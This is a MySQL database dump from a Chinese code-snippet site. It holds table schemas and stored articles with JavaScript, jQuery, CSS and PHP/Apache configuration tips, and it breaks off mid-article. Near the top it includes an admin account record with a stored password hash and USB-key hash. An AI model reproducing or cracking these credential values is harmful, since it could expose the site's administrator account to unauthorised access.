/*
Navicat MySQL Data Transfer

Source Server         : localhost_3306
Source Server Version : 50717
Source Host           : localhost:3306
Source Database       : mdaima_com

Target Server Type    : MYSQL
Target Server Version : 50717
File Encoding         : 65001

Date: 2020-04-06 15:48:55
*/

SET FOREIGN_KEY_CHECKS=0;

-- ----------------------------
-- Table structure for `lei_admin`
-- ----------------------------
DROP TABLE IF EXISTS `lei_admin`;
CREATE TABLE `lei_admin` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `username` varchar(100) NOT NULL,
  `xingming` varchar(20) NOT NULL,
  `password` varchar(80) NOT NULL,
  `flag` varchar(10) NOT NULL,
  `pass` varchar(5) NOT NULL,
  `usbkey` varchar(100) NOT NULL,
  `lasttime` datetime NOT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `username` (`username`) USING BTREE
) ENGINE=MyISAM AUTO_INCREMENT=324 DEFAULT CHARSET=utf8 COMMENT='管理员';

-- ----------------------------
-- Records of lei_admin
-- ----------------------------
INSERT INTO `lei_admin` VALUES ('6', 'admin', '系统管理员', '7eeb4de47102285c086fefd441ef78d1', 'admin', '1', '1981e66fb16920665af3acf8a01075f8', '2020-04-02 12:12:57');

-- ----------------------------
-- Table structure for `lei_cs`
-- ----------------------------
DROP TABLE IF EXISTS `lei_cs`;
CREATE TABLE `lei_cs` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `zt_tixing_reg` varchar(5) NOT NULL,
  `zt_tixing_huitie` varchar(5) NOT NULL,
  `zt_tixing_host` varchar(5) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8;

-- ----------------------------
-- Records of lei_cs
-- ----------------------------
INSERT INTO `lei_cs` VALUES ('1', '0', '6', '0');

-- ----------------------------
-- Table structure for `lei_daima`
-- ----------------------------
DROP TABLE IF EXISTS `lei_daima`;
CREATE TABLE `lei_daima` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `title` varchar(200) NOT NULL,
  `message` text NOT NULL,
  `indate` datetime NOT NULL,
  `fenzu` varchar(20) NOT NULL,
  `pass` varchar(10) NOT NULL,
  `px` int(11) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=42 DEFAULT CHARSET=utf8;

-- ----------------------------
-- Records of lei_daima
-- ----------------------------
INSERT INTO `lei_daima` VALUES ('1', 'JS替换及过滤多个重复指定字符串', '<p><strong>一、去掉两端逗号</strong></p><pre class=\"brush:js;toolbar:false\">function&nbsp;trim(str){&nbsp;//删除左右两端的逗号\r\n　&nbsp;//去掉第一个逗号\r\n&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(str.substr(0,1)==&#39;,&#39;)&nbsp;str=str.substr(1);\r\n&nbsp;&nbsp;&nbsp;&nbsp;//去掉最后一个逗号\r\n&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;reg=/,$/gi;&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;str=str.replace(reg,&quot;&quot;);&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;str;\r\n}</pre><p><strong>二、替换多个指定的字符串为目标字符串</strong><br/></p><pre class=\"brush:js;toolbar:false\">function&nbsp;deletezd(){\r\n&nbsp;&nbsp;&nbsp;&nbsp;arr=$(&quot;#tel&quot;).val();\r\n&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;ch_t&nbsp;=&nbsp;&quot;，&quot;;&nbsp;&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;reg_t&nbsp;=&nbsp;&quot;/&quot;+ch_t+&quot;/g&quot;;&nbsp;&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;arr&nbsp;=&nbsp;arr.replace(eval(reg_t),&quot;,&quot;);&nbsp;&nbsp;//将多个全角逗号转为半角逗号\r\n}</pre><p><strong>三、去掉字符串组中，重复的字符串</strong><br/></p><pre class=\"brush:js;toolbar:false\">function&nbsp;deleteRepetionChar(){//与第一、二组合应用，并实现重复字符串的过滤\r\n&nbsp;&nbsp;&nbsp;&nbsp;arr=$(&quot;#tel&quot;).val();\r\n&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;ch_t&nbsp;=&nbsp;&quot;，&quot;;&nbsp;&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;reg_t&nbsp;=&nbsp;&quot;/&quot;+ch_t+&quot;/g&quot;;&nbsp;&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;arr&nbsp;=&nbsp;arr.replace(eval(reg_t),&quot;,&quot;);&nbsp;&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;arr=trim(arr);//去掉两端空格&nbsp;&nbsp;trim要与第一个function组合用\r\n&nbsp;&nbsp;&nbsp;&nbsp;//先判断输入进来的是数组对象还是字符串\r\n&nbsp;&nbsp;&nbsp;&nbsp;if(&nbsp;typeof&nbsp;arr&nbsp;==&nbsp;&quot;object&quot;){\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;arr&nbsp;=&nbsp;arr;\r\n&nbsp;&nbsp;&nbsp;&nbsp;}\r\n&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;if(&nbsp;typeof&nbsp;arr&nbsp;==&nbsp;&quot;string&quot;){\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//字符串转为数组\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;arr&nbsp;=&nbsp;arr.split(&quot;,&quot;)\r\n&nbsp;&nbsp;&nbsp;&nbsp;}\r\n&nbsp;&nbsp;&nbsp;&nbsp;//存放不相同的数据\r\n&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;box&nbsp;=&nbsp;[];//存放去重数据\r\n&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;thisArr;//当前的值arr[i]\r\n&nbsp;&nbsp;&nbsp;&nbsp;//遍历数组\r\n&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(var&nbsp;i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;arr.length;&nbsp;i++)&nbsp;{\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;thisArr&nbsp;=&nbsp;arr[i]\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//定义一个旗子，检查是不是有重复的字符\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;flag&nbsp;=&nbsp;true;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//遍历存放数据盒子，检查是否等于当前元素\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(var&nbsp;j&nbsp;=&nbsp;0;&nbsp;j&nbsp;&lt;&nbsp;box.length;&nbsp;j++)&nbsp;{\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//如果值存在\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(box[j]==thisArr){\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;flag&nbsp;=&nbsp;false;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;//结束for循环\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(flag==false){\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//continue返回执行函数而不压入数组\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;continue&nbsp;;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;box.push(thisArr);\r\n&nbsp;&nbsp;&nbsp;&nbsp;}\r\n&nbsp;&nbsp;&nbsp;&nbsp;$(&quot;#tel&quot;).val(box);\r\n&nbsp;&nbsp;&nbsp;&nbsp;//alert(box)\r\n&nbsp;&nbsp;&nbsp;&nbsp;//return&nbsp;box\r\n}</pre><p><strong>四、去掉字符串中的多个连续空格为1个</strong></p><pre class=\"brush:js;toolbar:false\">var&nbsp;regEx&nbsp;=&nbsp;/s+/g;\r\n&nbsp;&nbsp;&nbsp;&nbsp;jieguo=jieguo.replace(regEx,&nbsp;&#39;&nbsp;&#39;);</pre><p><br/></p>', '2017-03-01 16:05:56', '1', '1', '10000');
INSERT INTO `lei_daima` VALUES ('2', '链接提示并转向', '<p><strong>为页面上所有链接规定默认目标：</strong></p><pre class=\"brush:html;toolbar:false\">&lt;head&gt;\r\n&lt;base&nbsp;target=&quot;_blank&quot;&nbsp;/&gt;\r\n&lt;/head&gt;\r\n\r\n&lt;body&gt;\r\n&lt;a&nbsp;href=&quot;http://www.w3school.com.cn&quot;&gt;W3School&lt;/a&gt;\r\n&lt;/body&gt;</pre><p><strong>按钮删除前提示，确认后执行操作</strong></p><pre class=\"brush:html;toolbar:false\">&lt;input&nbsp;name=&quot;button&quot;&nbsp;type=&quot;button&quot;&nbsp;onclick=&quot;javascript:if(confirm(&#39;确认删除？&#39;))document.location.href=&#39;show.php?id=123&#39;&quot;&nbsp;value=&quot;删除&quot;&nbsp;/&gt;</pre><p><strong>操作成功并转向</strong></p><pre class=\"brush:php;toolbar:false\">echo&nbsp;&quot;&lt;script&gt;alert(&#39;场次成功！&#39;);location.href=&#39;?&quot;.$back_url.&quot;&#39;;&lt;/script&gt;&quot;;\r\nexit;</pre><p><strong>错误提示并后退</strong><br/></p><pre class=\"brush:php;toolbar:false\">echo&nbsp;&quot;&lt;script&nbsp;language=javascript&gt;alert(&#39;不能为空！&#39;);javascript:history.back(-1);&lt;/script&gt;&quot;;\r\nexit;</pre><p><br/></p>', '2017-03-01 16:06:38', '1', '1', '11000');
INSERT INTO `lei_daima` VALUES ('3', '弹出层中按钮与激活按钮冲突的解决（防冒泡）', '<pre class=\"brush:js;toolbar:false\">$(document).click(function(){\r\n	$(&quot;#flpm_box&quot;).hide();//点击任何位置隐藏层\r\n});\r\n	\r\n$(&quot;#flpm_box&quot;).click(function(event){\r\n	event.stopPropagation();//排除弹出层本身\r\n});\r\n	\r\n$(&quot;#pid_title&quot;).click(function(event){\r\n	event.stopPropagation();//排除激活按钮\r\n});\r\n\r\n//除此之外，要在弹出层中的选项，加上点击赋值和隐藏flpm_box弹出层的事件，就完美解决！</pre><p><br/></p>', '2017-03-01 16:06:56', '1', '1', '100000');
INSERT INTO `lei_daima` VALUES ('4', '验证输入是否符合要求及替换', '<p><strong>验证手机号是否符合标准</strong></p><pre class=\"brush:js;toolbar:false\">var&nbsp;partten&nbsp;=&nbsp;/^1[3,5,7,8]\\d{9}$/;&nbsp;\r\n\r\nif(partten.test(thisArr)){//判断是否符合手机号码格式\r\n&nbsp;&nbsp;&nbsp;&nbsp;//标准\r\n}else{\r\n&nbsp;&nbsp;&nbsp;&nbsp;//不标准\r\n}</pre><p><strong>限制输入只能英文或数字</strong></p><pre class=\"brush:js;toolbar:false\">//允许输入数字点，replace(/[^\\w\\.\\/]/ig,&#39;&#39;)&nbsp;&nbsp;&nbsp;\r\n//限制只能数字&nbsp;replace(/\\D/g,&#39;&#39;)\r\n\r\nonkeyup=&quot;this.value=this.value.replace(/[^\\w\\/]/ig,&#39;&#39;);this.value=this.value.toUpperCase()&quot;&nbsp;&nbsp;\r\nonafterpaste=&quot;this.value=this.value.replace(/[^\\w\\/]/ig,&#39;&#39;);this.value=this.value.toUpperCase()&quot;&nbsp;\r\nonblur=&quot;this.value=this.value.replace(/[^\\w\\/]/ig,&#39;&#39;);this.value=this.value.toUpperCase()&quot;</pre><p><br/></p>', '2017-03-01 16:07:07', '1', '1', '10000');
INSERT INTO `lei_daima` VALUES ('5', 'JQ获取及选中radio及select的值', '<p><strong>JQ获取radio的值</strong></p><pre class=\"brush:js;toolbar:false\">huifu=$(&quot;input[name=&#39;huifu&#39;]:checked&quot;).val();</pre><p><strong>JQ获取select值</strong></p><pre class=\"brush:xml;toolbar:false\">pass=$(&quot;#pass&nbsp;option:selected&quot;).val();</pre><p><strong>JQ获取checkbox值</strong></p><pre class=\"brush:js;toolbar:false\">pass=$(&#39;#tel_sms:checked&#39;).val()</pre><p><strong>JQ给radio或checkbox指定值选中</strong></p><pre class=\"brush:js;toolbar:false\">//radio\r\n$(&quot;:radio[class=&#39;bk_1_&quot;+cnum+&quot;&#39;][value=&#39;&quot;&nbsp;+&nbsp;cxuan&nbsp;+&nbsp;&quot;&#39;]&quot;).prop(&quot;checked&quot;,&nbsp;&quot;checked&quot;);\r\n\r\n//checkbox\r\nif($(&quot;:checkbox[class=&#39;bk_2_&quot;+xuhao+&quot;&#39;][value=&#39;&quot;&nbsp;+&nbsp;cxuan&nbsp;+&nbsp;&quot;&#39;]&quot;).prop(&quot;checked&quot;)){\r\n　　$(&quot;:checkbox[class=&#39;bk_2_&quot;+xuhao+&quot;&#39;][value=&#39;&quot;&nbsp;+&nbsp;cxuan&nbsp;+&nbsp;&quot;&#39;]&quot;).prop(&quot;checked&quot;,false);\r\n}else{\r\n　　$(&quot;:checkbox[class=&#39;bk_2_&quot;+xuhao+&quot;&#39;][value=&#39;&quot;&nbsp;+&nbsp;cxuan&nbsp;+&nbsp;&quot;&#39;]&quot;).prop(&quot;checked&quot;,true);\r\n}</pre><p><br/></p>', '2017-03-01 16:07:16', '1', '1', '10000');
INSERT INTO `lei_daima` VALUES ('6', '通过JQ让元素闪动的效果', '<p><strong>方式一：</strong><br/></p><pre class=\"brush:js;toolbar:false\">&lt;script&nbsp;type=&quot;text/javascript&quot;&nbsp;&gt;\r\n&nbsp;&nbsp;function&nbsp;blink(selector){\r\n&nbsp;&nbsp;&nbsp;&nbsp;$(selector).fadeOut(&#39;slow&#39;,&nbsp;function(){//速度slow,normal,fast\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$(this).fadeIn(&#39;slow&#39;,&nbsp;function(){\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;blink(this);\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;});\r\n&nbsp;&nbsp;&nbsp;&nbsp;});\r\n&nbsp;&nbsp;}\r\n&nbsp;&nbsp;$(document).ready(function(){\r\n&nbsp;&nbsp;&nbsp;&nbsp;blink(&#39;.blink&#39;);\r\n&nbsp;&nbsp;});&nbsp;\r\n&lt;/script&gt;\r\n\r\n&lt;span&nbsp;class=&quot;blink&quot;&nbsp;&gt;点击进入&lt;/span&gt;</pre><p><strong>方式二：</strong><br/></p><pre class=\"brush:js;toolbar:false\">$(&quot;.blink&quot;).fadeOut(300).fadeIn(300).fadeOut(300).fadeIn(300)</pre><p><br/></p>', '2017-03-01 16:07:25', '1', '1', '15000');
INSERT INTO `lei_daima` VALUES ('7', 'JS对返回字符串转的处理', '<p>1、JQ分割字符串为数组：</p><pre class=\"brush:js;toolbar:false\">var&nbsp;give_strs=&nbsp;new&nbsp;Array();&nbsp;//定义一数组\r\ngive_strs=result.split(&quot;|&quot;);&nbsp;//字符分割&nbsp;\r\nif&nbsp;(give_strs[0]==&quot;0&quot;){\r\n}</pre><p>2、JS判断是否存在字符串：<br/></p><pre class=\"brush:js;toolbar:false\">if&nbsp;(result.indexOf(&quot;正确&quot;)&nbsp;&gt;=&nbsp;0){\r\n&nbsp;&nbsp;&nbsp;&nbsp;$(&quot;#nowtel&quot;).html(&#39;111&#39;);\r\n}</pre><p><br/></p>', '2017-03-01 16:07:36', '1', '1', '14000');
INSERT INTO `lei_daima` VALUES ('8', 'CSS及表单常用代码', '<p><strong>圆角CSS：</strong></p><pre class=\"brush:css;toolbar:false\">-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;</pre><p><strong>强制换行：</strong></p><pre class=\"brush:css;toolbar:false\">white-space:pre-wrap;word-wrap:break-all;</pre><p><strong>输入提示、隐藏焦点、禁用默认填充：</strong><br/></p><pre class=\"brush:html;toolbar:false\">&lt;input&nbsp;type=&quot;text&quot;&nbsp;value=&quot;&quot;&nbsp;placeholder=&quot;请输入短信验证码&quot;&nbsp;hidefocus=&quot;true&quot;&nbsp;autocomplete=&quot;off&quot;&nbsp;/&gt;</pre><p><strong>上传文件表单属性：</strong></p><pre class=\"brush:html;toolbar:false\">enctype=&quot;multipart/form-data&quot;</pre><p><strong>禁用IE浏览器input的删除按钮</strong></p><pre class=\"brush:css;toolbar:false\">input::-ms-clear{display:none;}</pre><p><strong>透明效果</strong></p><pre class=\"brush:css;toolbar:false\">&nbsp;filter:alpha(opacity=80);-moz-opacity:0.8;-khtml-opacity:&nbsp;0.8;opacity:&nbsp;0.8;</pre><p><strong>360浏览器input自动填充淡黄色背景怎么解决</strong></p><pre class=\"brush:css;toolbar:false\">//给input设置内置阴影！而且一定要大，至少要比你的input本身大\r\ninput:-webkit-autofill&nbsp;{-webkit-box-shadow:&nbsp;0&nbsp;0&nbsp;0px&nbsp;1000px&nbsp;white&nbsp;inset;}</pre><p><strong>根据不同分辨率调用不同CSS样式</strong></p><pre class=\"brush:css;toolbar:false\">@media&nbsp;screen&nbsp;and&nbsp;(min-height:800px)&nbsp;and&nbsp;(max-height:900px){\r\n&nbsp;.box_top{margin-top:70px;}\r\n}\r\n\r\n@media&nbsp;screen&nbsp;and&nbsp;(min-height:901px)&nbsp;and&nbsp;(max-height:1050px){\r\n&nbsp;.box_top{margin-top:90px;}\r\n}\r\n\r\n@media&nbsp;screen&nbsp;and&nbsp;(min-height:1051px)&nbsp;{\r\n&nbsp;.box_top{margin-top:120px;}\r\n}</pre><p><strong>Select分组</strong></p><pre class=\"brush:html;toolbar:false\">&lt;select&gt;\r\n&nbsp;&nbsp;&lt;optgroup&nbsp;label=&quot;Swedish&nbsp;Cars&quot;&gt;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&lt;option&nbsp;value&nbsp;=&quot;volvo&quot;&gt;Volvo&lt;/option&gt;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&lt;option&nbsp;value&nbsp;=&quot;saab&quot;&gt;Saab&lt;/option&gt;\r\n&nbsp;&nbsp;&lt;/optgroup&gt;\r\n\r\n&nbsp;&nbsp;&lt;optgroup&nbsp;label=&quot;German&nbsp;Cars&quot;&gt;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&lt;option&nbsp;value&nbsp;=&quot;mercedes&quot;&gt;Mercedes&lt;/option&gt;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&lt;option&nbsp;value&nbsp;=&quot;audi&quot;&gt;Audi&lt;/option&gt;\r\n&nbsp;&nbsp;&lt;/optgroup&gt;\r\n&lt;/select&gt;</pre><p><br/></p>', '2017-03-01 16:07:47', '2', '1', '12000');
INSERT INTO `lei_daima` VALUES ('9', '360浏览器默认使用webkit内核', '<pre class=\"brush:html;toolbar:false;\">&lt;head&gt;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&lt;meta&nbsp;content=&quot;webkit&quot;&nbsp;name=&quot;renderer&quot;&nbsp;/&gt;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&lt;meta&nbsp;name=&quot;viewport&quot;&nbsp;content=&quot;width=device-width,&nbsp;initial-scale=1.0,&nbsp;maximum-scale=1.0,&nbsp;user-scalable=no&quot;&gt;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&lt;meta&nbsp;http-equiv=&quot;X-UA-Compatible&quot;&nbsp;content=&quot;IE=Edge,chrome=1&quot;&gt;\r\n&lt;/head&gt;</pre><p>其中：&lt;meta content=&quot;webkit&quot; name=&quot;renderer&quot; /&gt;必须紧跟&lt;head&gt;</p><p>以上代码IE=edge告诉IE使用最新的引擎渲染网页，chrome=1则可以激活Chrome Frame</p>', '2017-03-01 16:07:57', '2', '1', '20000');
INSERT INTO `lei_daima` VALUES ('10', 'CSS透明效果', '', '2017-03-01 16:08:17', '2', '0', '10000');
INSERT INTO `lei_daima` VALUES ('11', '事件加载、元素选择器及常用属性', '<p><strong>元素选择器：</strong></p><pre class=\"brush:js;toolbar:false\">document.getElementById(&quot;myHeader&quot;)\r\ndocument.getElementsByName(&quot;myHeader&quot;)\r\n\r\ndocument.getElementById(&#39;myAnchor&#39;).innerHTML=&quot;W3Schools&quot;;&nbsp;//innerHTML&nbsp;属性设置或返回元素的&nbsp;inner&nbsp;HTML。\r\ndocument.getElementById(&#39;myAnchor&#39;).href=&quot;http://www.w3schools.com&quot;;&nbsp;\r\ndocument.getElementById(&#39;myAnchor&#39;).target=&quot;_blank&quot;;\r\ndocument.getElementById(&#39;myid&#39;).className;&nbsp;//返回元素的&nbsp;class&nbsp;属性。</pre><p><strong>加载事件：</strong></p><pre class=\"brush:js;toolbar:false\">$(document).ready(function(){\r\n&nbsp;&nbsp;$(&quot;.btn1&quot;).click(function(){\r\n&nbsp;&nbsp;&nbsp;&nbsp;$(&quot;p&quot;).slideToggle();\r\n&nbsp;&nbsp;});\r\n});\r\n\r\n//提示：ready()&nbsp;函数不应与&nbsp;&lt;body&nbsp;onload=&quot;&quot;&gt;&nbsp;一起使用。\r\n//当&nbsp;DOM（文档对象模型）&nbsp;已经加载，并且页面（包括图像）已经完全呈现时，会发生&nbsp;ready&nbsp;事件。\r\n//由于该事件在文档就绪后发生，因此把所有其他的&nbsp;jQuery&nbsp;事件和函数置于该事件中是非常好的做法。</pre><p><strong>JQ通过class名循环读取元素值</strong></p><pre class=\"brush:js;toolbar:false\">var&nbsp;bugstr_5&nbsp;=&nbsp;document.exam1.tkxuan.value;\r\nvar&nbsp;bugstr_5=bugstr_5.replace(eval(&#39;/,/g&#39;),&#39;{|}&#39;);\r\nvar&nbsp;bugstr1_5_in=bugstr_5.split(&quot;{|}&quot;);\r\nvar&nbsp;inputs&nbsp;=&nbsp;$(&quot;.tiankong&quot;);\r\nii=0;\r\ninputs.each(function(){\r\n&nbsp;&nbsp;&nbsp;&nbsp;$(this).val(bugstr1_5_in[ii])\r\n&nbsp;&nbsp;&nbsp;&nbsp;//if&nbsp;($(this).is(&quot;:checked&quot;))&nbsp;{i++;return&nbsp;false}//检测到一个就跳出循环\r\n&nbsp;&nbsp;&nbsp;&nbsp;ii++;\r\n});</pre><p><strong>JQ模拟click事件</strong></p><pre class=\"brush:js;toolbar:false\">$(&#39;.close-reveal-modal&#39;).click();</pre>', '2017-03-01 16:08:34', '1', '1', '12000');
INSERT INTO `lei_daima` VALUES ('12', 'AppServ常规参数配置手册', '<p><strong>一、PHP.INI文件配置</strong></p><pre class=\"brush:php;toolbar:false\">1.全局变量关闭：register_globals&nbsp;=&nbsp;Off，正式运行网站请关闭此选项。\r\n2.设置magic_quotes_gpc&nbsp;=&nbsp;On&nbsp;开启gpc功能\r\n3.extension=php_mbstring.dll&nbsp;&nbsp;PHP的扩展设置mbstring，没有&nbsp;mbstring&nbsp;扩展的&nbsp;phpMyAdmin&nbsp;不能正确识别字符串，可能产生不可意料的结果\r\n4.extension=php_openssl.dll&nbsp;&nbsp;开启此项，方可使用file_get_contents访问https\r\n5.session.save_path一定要设置到一个可以读写的路径，如&nbsp;D:/session\r\nPHP上传文件设置：（通过echo&nbsp;ini_get(&#39;post_max_size&#39;)&nbsp;判断当前值）\r\n1、PHP没有开启文件上传功能，配置应该为&nbsp;file_uploads&nbsp;=&nbsp;On\r\n2、PHP配置上传大小限制，upload_max_filesize&nbsp;=&nbsp;20M\r\n3、PHP配置的POST方式大小限制，post_max_size&nbsp;=&nbsp;80M\r\n\r\n//------------------------------------------------------------------------\r\n\r\n一、关于PHP7版本，部分需要设置项（PHP&nbsp;7.0.3）\r\n（1）设置&nbsp;default_charset&nbsp;=’GBK’\r\n（2）session.save_path=”D:session”\r\n（3）short_open_tag&nbsp;=&nbsp;on&nbsp;&nbsp;开启短标签\r\n（4）error_reporting,修改为error_reporting&nbsp;=&nbsp;E_ALL&nbsp;&amp;&nbsp;~E_NOTICE\r\n\r\n二、关于PHP7对部分程序的调整\r\n（1）return&nbsp;htmlspecialchars($str,ENT_COMPAT,&#39;ISO-8859-1&#39;);\r\n（2）防止PHPEXCEL插件报出以下错误：&#39;break&#39;&nbsp;not&nbsp;in&nbsp;the&nbsp;&#39;loop&#39;&nbsp;or&nbsp;&#39;switch&#39;&nbsp;context\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;直接删除文件（PHPExcelCalculationFunctions.php）的576行的&nbsp;&#39;break&#39;即可！\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;网上有人说是高版本的php7.0才有的，因为：\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;As&nbsp;break&nbsp;is&nbsp;after&nbsp;return&nbsp;statement,&nbsp;so&nbsp;it&nbsp;giving&nbsp;fatal&nbsp;error.\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;因为break在return之后，报了个语法错误！确实不对！\r\n（3）number_format()函数支持一个、两个或四个参数（不是三个）。</pre><p><strong>二、httpd.conf文件配置</strong></p><p>1.修改默认首页：DirectoryIndex index.html加上index.php</p><p>2.限制目录列表显示：Options Indexes FollowSymLinks 删除Indexes</p><p>3.启用rewrite和.htaccess</p><p>第一步，httpd.conf 文件里 查找“&lt;Directory /&gt;”把里面的 AllowOverride None 改成 AllowOverride all 即可，改完后的代码如下：&nbsp;</p><pre class=\"brush:html;toolbar:false\">&lt;Directory&nbsp;/&gt;\r\n&nbsp;&nbsp;&nbsp;&nbsp;Options&nbsp;FollowSymLinks\r\n&nbsp;&nbsp;&nbsp;&nbsp;AllowOverride&nbsp;all\r\n&nbsp;&nbsp;&nbsp;&nbsp;Order&nbsp;deny,allow\r\n&nbsp;&nbsp;&nbsp;&nbsp;allow&nbsp;from&nbsp;all\r\n&lt;/Directory&gt;</pre><p>第二步，查找到“LoadModule rewrite_module”，将前面的&quot;#&quot;号删除即可；如果没有查找到，则到“LoadModule”区域，在最后一行加入“LoadModule rewrite_module modules/mod_rewrite.so”（独占一行）。</p><p>4.绑定域名</p><pre class=\"brush:php;toolbar:false\">DocumentRoot&nbsp;&quot;D:/AppServ/www&quot;\r\nServerName&nbsp;192.168.1.100:80\r\nNameVirtualHost&nbsp;192.168.1.100:80\r\n\r\n&lt;VirtualHost&nbsp;192.168.1.100:80&gt;\r\n&nbsp;&nbsp;&nbsp;&nbsp;DocumentRoot&nbsp;&quot;D:/AppServ/www/&quot;&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;ServerName&nbsp;www.abc.dooooo\r\n&lt;/VirtualHost&gt;\r\n\r\n&lt;VirtualHost&nbsp;192.168.1.100:80&gt;\r\n&nbsp;&nbsp;&nbsp;&nbsp;DocumentRoot&nbsp;&quot;D:/AppServ/www/mm1&quot;&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;ServerName&nbsp;m.abc.com\r\n&nbsp;&nbsp;&nbsp;&nbsp;ServerAlias&nbsp;e.abc.com&nbsp;&nbsp;abc.com\r\n&lt;/VirtualHost&gt;\r\n\r\n&lt;VirtualHost&nbsp;192.168.1.100:80&gt;\r\n&nbsp;&nbsp;&nbsp;&nbsp;DocumentRoot&nbsp;&quot;D:/AppServ/www/mm2&quot;&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;ServerName&nbsp;e.bcd.com\r\n&lt;/VirtualHost&gt;</pre><p><strong><br/></strong></p><p><strong>三、更改phpmyadmin目录，并将默认目录设置空白</strong></p><p>1.将phpmyadmin目录更换其它名称；</p><p>2.将默认根目录添加index.html空白文件；</p><p><strong><br/></strong></p><p><strong>四、设置.htaccess强制转向HTTPS</strong></p><pre class=\"brush:xml;toolbar:false\">//实现效果：\r\n//1&nbsp;&nbsp;非https转向https\r\n//2&nbsp;&nbsp;非www开头转向www\r\n\r\nRewriteEngine&nbsp;on\r\nRewriteCond&nbsp;%{HTTP:From-Https}&nbsp;!^on$&nbsp;[NC]\r\nRewriteRule&nbsp;^(.*)$&nbsp;https://www.mdaima.com/$1&nbsp;[R=301,L]\r\n\r\nRewriteCond&nbsp;%{HTTP_HOST}&nbsp;!^www.&nbsp;\r\nRewriteRule&nbsp;^(.*)$&nbsp;https://www.mdaima.com/$1&nbsp;[R=301,L]\r\n\r\n//指定IP可以访问指定后缀文件\r\n&lt;Files&nbsp;~&nbsp;&quot;.(sql|zip_bz)$&quot;&gt;\r\n	order&nbsp;deny,allow\r\n	deny&nbsp;from&nbsp;all\r\n	